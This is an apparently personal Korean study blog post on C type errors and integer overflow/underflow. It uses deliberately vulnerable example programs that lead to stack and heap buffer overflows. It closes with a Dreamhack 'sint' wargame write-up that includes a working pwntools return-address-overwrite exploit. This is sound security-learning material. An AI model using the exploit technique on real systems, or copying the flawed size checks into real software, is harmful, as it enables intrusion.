System Hacking

Logical Bug : Type Error

burrri 2024. 3. 22. 20:55

자료형 : 변수의 크기를 정의, 용도를 암시 

-> int (예) - 4바이트의 공간이 할당 & 해당 메모리 대상으로 연산 실행 (한번 할당된 메모리는 확장되거나 줄지x)

=> 1바이트: 0xff 를 넘어서면 0x100이 아닌 0x00이 되어 데이터가 유실 (overflow)

=> 4바이트: 0x0123456789abcdef대입 시 0x 89abcdef만 저장되고 나머지는 유실

==> Type Error

 

타입 에러 

자료형

변수의 자료형 선언 : 변수를 활용하는 동안 담게 될 크기 ,용도, 부호 여부 등을 고려해야

: 같은 자료형이어도 os 에 따라 크기가 달라질 수 o

( long : 4바이트(32bit) / 8바이트 (64bit))

 

자료형크기범위용도

(signed) char 1 바이트   정수, 문자
unsigned char      
(signed) short (int) 2 바이트   정수
unsigned short (int)      
(signed) int 4 바이트   정수
unsigned int      
size_t 32bit: 4 바이트
64bit: 8 바이트
생략 부호 없는 정수
(signed) long 32bit: 4 바이트
64bit: 8 바이트
정수  
unsigned long      
(signed) long long 32bit: 8 바이트
64bit: 8 바이트
정수  
unsigned long long      
float 4 바이트 실수  
double 8 바이트 실수  
Type * 32bit: 4 바이트
64bit: 8 바이트
주소  

 

+

signed : 부호를 가지는 값 (양수, 음수의 구별 ok)
unsigned : 부호를 가지지 않는 값 ( 오직 양수 ok)

 

Ouf of Range : 데이터 유실

// Name: out_of_range.c
// Compile: gcc -o out_of_range out_of_range.c

#include <stdio.h>

unsigned long long factorial(unsigned int n) {
  unsigned long long res = 1;

  for (int i = 1; i <= n; i++) {
    res *= i;
  }

  return res;
}

int main() {
  unsigned int n;
  unsigned int res;

  printf("Input integer n: ");
  scanf("%d", &n);

  if (n >= 50) {
    fprintf(stderr, "Input is too large");
    return -1;
  }

  res = factorial(n);
  printf("Factorial of N: %u\n", res);
}

main 코드속 int res에 unsigned long long res를 대입 

=> 18! = 0x16beecca730000에서 하위 4바이트(int)인 

==> out of range 

 

 

Ouf of Range : 부호 반전과 값의 왜곡

예시 : 위의 main- unsigned int를 int로 변경 

// Name: oor_signflip.c
// Compile: gcc -o oor_signflip oor_signflip.c

#include <stdio.h>

unsigned long long factorial(unsigned int n) {
  unsigned long long res = 1;

  for (int i = 1; i <= n; i++) {
    res *= i;
  }

  return res;
}

int main() {
  int n;
  unsigned int res;

  printf("Input integer n: ");
  scanf("%d", &n);

  if (n >= 50) {
    fprintf(stderr, "Input is too large");
    return -1;
  }

  res = factorial(n);
  printf("Factorial of N: %u\n", res);
}

int n 의 값에 음수 -1을 넣으면 (0x ffff ffff) 로 입력 

이를 인자로 받은 factorial함수에서는 이를 unsigned int로 받아들여 42 9496 7295 (0x ffff ffff, dec)로 전달 

(이유: unsigned는 같은 메모리 값에서 부호를 양수만 다루기에 더 담는 숫자가 커져 저 위의 숫자로 전달됨) 

-> 수많은 수를 반복하게 되어 시간 초과 뿐아니라 연산도 오류

 

 

Ouf of Range와 버퍼 오버플로우

oor_bof : 잘못된 자료형의 사용이 스택 버퍼 오버플로우로 이어지는 코드

// Name: oor_bof.c
// Compile: gcc -o oor_bof oor_bof.c -m32

#include <stdio.h>

#define BUF_SIZE 32  # 버퍼 사이즈 32

int main() {
  char buf[BUF_SIZE];
  int size;
  
  printf("Input length: ");
  scanf("%d", &size);
  
  if (size > BUF_SIZE) { #사이즈 체크 
    fprintf(stderr, "Buffer Overflow Detected");
    return -1;
  }
  
  read(0, buf, size);
  return 0;
}

 

read함수의 세 번째 인자 : size_t형(부호확인x , 양수만 처리) => 음수 전달시에 매우 큰 수로 해석

- size에 -1을 입력하고 32바이트보다 큰 데이터를 입력하면 버퍼 스택 오버플로우 발생 

(다만, 64비트의 환경에서 size_t는 8바이트의 부호없는 정수, -1은 0x ffff ffff ffff ffff이며
이는 굉장히 큰 수이므로 count값으로 이 정도의 큰 값이 들어오면 아무런 동작도 하지않고 에러값을 반환) 

 

타입 오버플로우와 언더플로우

Integer Overflow/ Underflow : 자료형의 범위를 벗어나면, 크기가 작아지거나 커지는 현상

 

 

Integer Overflow와 버퍼 오버플로우 

 

// Name: integer_overflow.c
// Compile: gcc -o integer_overflow integer_overflow.c -m32

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
  unsigned int size;
  scanf("%u", &size);
  
  char *buf = (char *)malloc(size + 1);
  unsigned int read_size = read(0, buf, size);
  
  buf[read_size] = 0;
  return 0;
}

사용자 정의로 size(unsigned int) 를 받고 size+1만큼을 동적할당

 

만약 size에 4294967295 (0x ffff ffff)입력시에 integer overlow에 의해 size+1=>0

0이 malloc에 전달되면 malloc의 최소 할당 크기인 32바이트만큼을 청크에 할당한다. 

반면, read함수는 size값 그대로를 사용하므로 32바이트 크기의 청크에 4294967295만큼 값을 쓸 수 있음

-> heap buffer overflow

 


sint

https://dreamhack.io/wargame/challenges/25
checksec

NX 적용, canary 미적용, PIE미적용,  partial RELRO 적용

 

 

주요 코드

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

- size가 0미만이거나 256초과일 경우 필터링한다. 

- 셸을 띄우는 get_shell 함수 존재

- size를 입력받으면 size-1만큼 buf에 입력을 받는다. 

 

시나리오 

read함수의 세 번째 인자는 unsized_t size로 받기에 음수가 들어가면 큰 수로 인식한다. 

그러므로 size를 0으로 설정하면 필터링은 우회하고 Integer underflow가 발생하여 4294967295 (0xffff ffff)만큼을 

입력받게 되어 버퍼 오버플로우가 발생한다.

이를 이용하여 get_shell()주소로 ret overwrite을 하여 exploit을 해보자

 

Exploit

disiass main

size는 ebp-0x104, buf는 ebp-0x100에 위치한다. 

canary가 적용되지 않았기에 SFP를 그냥 dummy로 덮어버리고 RET을 get_shell()주소로 overwrite하자

 

from pwn import *

p = remote("host3.dreamhack.games",16041)
e = ELF("./sint")

get_shell = e.symbols['get_shell']


payload = b'A'*0x104
payload += p32(get_shell)
p.sendlineafter("Size: ", "0")
p.sendlineafter("Data: ", payload)
p.interactive()

 

'System Hacking' 카테고리의 다른 글

Path Traversal  (0) 2024.03.23
command injection  (0) 2024.03.23
Double Free Bug | dreamhack  (1) 2024.03.17
Use After Free | dreamhack  (1) 2024.03.17
Format String Bug | dreamhack  (1) 2024.03.17